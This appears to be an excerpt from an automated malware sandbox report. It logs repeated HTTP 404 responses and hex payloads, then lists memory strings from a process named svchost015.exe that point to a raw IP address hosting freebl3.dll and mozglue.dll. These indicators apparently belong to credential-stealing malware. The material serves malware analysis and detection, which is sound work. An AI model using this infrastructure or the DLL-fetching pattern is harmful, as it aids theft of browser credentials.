Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:27:51 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:27:52 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:27:53 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:27:55 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:27:56 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:27:57 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 1c 7d 51 ba 3c 0b e9 f3 51 fa 91 ee af 36 d9 2f d9 e8 22 59 14 c1 d3 dd 9d 3c 83 66 5b 1b 90 11 9e 50 68 54 51 af 88 7c e1 7e ed 42 0e 1b 39 06 13 9c 3d a7 23 06 bc Data Ascii: #\6}Q<Q6/"Y<f[PhTQ|~B9=#
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:28:02 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:28:04 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:28:05 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:28:06 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:28:06 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:28:06 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:28:08 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:29:18 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:29:26 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:29:33 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:29:40 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:29:47 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:29:57 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:30:05 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:30:11 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:30:18 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:30:24 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:30:30 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:30:36 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:30:43 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:30:48 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:30:55 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158
Source: svchost015.exe, 0000001D.00000002.2618548795.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000002.2618548795.0000000000A40000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000A40000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/3836fd5700214436/freebl3.dll
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000A40000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/3836fd5700214436/mozglue.dll
